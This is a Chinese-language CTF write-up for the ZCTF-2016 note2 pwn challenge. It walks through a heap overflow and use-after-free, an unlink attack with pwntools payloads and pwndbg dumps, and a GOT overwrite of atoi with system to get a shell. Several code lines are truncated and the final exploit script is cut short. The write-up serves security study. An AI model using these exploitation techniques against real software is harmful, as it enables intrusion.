ZCTF-2016-note2
ZCTF-2016-note2
- libc version: 2.23
checksec note2
:➜ ZCTF-2016-note2 checksec note2
[*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/items/ZCTF-2016-note2/note2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有开 PIE, 因此段地址固定
分析
程序有以下功能:
- New: 新建 note, size 最大为 0x80, note 最多能有4个
- Show: 展示 note 内容
- Edit: 编辑 note 内容, 可以覆盖已有 note, 也可以在已有 note 后面续写
- Delte: 释放 note
而漏洞点如下
在 read_str 函数中读取的循环变量 i 是无符号变量, 那么当我们输入 size 为 0 时, glibc 根据其规定, 会分配 0x20 个字节, 但是程序读取的内容却并不受到限制, 故而会产生堆溢出。
unsigned __int64 __fastcall read_str(char *s, __int64 len, char a3)
{
char end_chr; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
end_chr = a3;
for ( i = 0LL; len - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == end_chr )
break;
s[i] = buf;
}
s[i] = 0;
return i;
}每次 edit 时, 都会申请 0xa0 大小的内存, 但是在 free 之后并没有把指针设置为 NULL, 存在 UAF 漏洞
思路
创建三个 chunk, 第二个 chunk 的大小设置为 0, 这样该 chunk 释放后就被归为 fast bin, 当我们再次申请 0 大小的 chunk 时, 该 chunk 就会被分配出去, 因为该 chunk 位于两个 chunk 之间, 此时就可以利用第一个漏洞, 对第三个 chunk 进行溢出, 修改其 chunk 头, 进行 free(chunk3) , 触发 unlink。
创建三个chunk, chunk1 伪造 free_chunk 为 unlink 做准备
ptr = 0x602120
payload = b"a" * 8 + p64(0x61) + p64(ptr - 0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x60, b'b')
new_note(0x80, payload) # 0
new_note(0, 'b') # 1
new_note(0x80, 'a') # 2此时堆结构:
pwndbg> heap
Allocated chunk | PREV_INUSE <== chunk1
Addr: 0x603000
Size: 0x91
Allocated chunk | PREV_INUSE <== chunk2
Addr: 0x603090
Size: 0x21
Allocated chunk | PREV_INUSE <== chunk3
Addr: 0x6030b0
Size: 0x91
Top chunk | PREV_INUSE
Addr: 0x603140
Size: 0x20ec1此时释放 chunk2
delete_note(1)
回收至 fastbin 中
pwndbg> fastbins
fastbins
0x20: 0x603090 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0重新分配一个 size 为 0 的 chunk, 此时就会把 chunk2 分配回来, 这样就可以利用第一个漏洞覆盖 chunk3 的 size 域
payload = b"b" * 16 + p64(0x80 + 0x20) + p64(0x90)
new_note(0, payload)此时 chunk3 内容如下, 可以看到 prev_inused 位被置0, pre_size 位被置 0xa0, 即 chunk1_size + chunk2_size
pwndbg> chunkinfo 0x6030b0
==================================
Chunk info
==================================
Status : Used
Freeable : False -> p->size(0x60) != next->prevsize(0xa0)
prev_size : 0xa0
size : 0x90
prev_inused : 0
is_mmap : 0
non_mainarea : 0此时 free chunk3 (
delete_note(2)
) 即触发 unlink利用 unlink, 通过程序的 show note 功能获取 atoi 的地址, 进而算出 system 的地址, 然后修改 atoi@got 指针中的地址为 system 的地址, 获得 shell。
unlink 以后, 此时 note_list[0] (0x602120) 存放的是 0x602108
pwndbg> x/gx 0x602120 |
此时修改 chunk1 即是 修改 note_list
payload = b"a" * 0x18 + p64(elf.got['atoi']) |
此时 node_list
pwndbg> x/gx 0x602120 |
这样show(0)
展示的就是 atoi 的地址了, 就可以依此计算 system 的地址
show_note(0) |
此时修改 edit chunk1 就是修改 atoi 的地址, 我们通过修改 atoi 为 systen 从而当我们传入 /bin/sh
就可以 getshell
payload = p64(system_address) |
EXP
from pwn import * |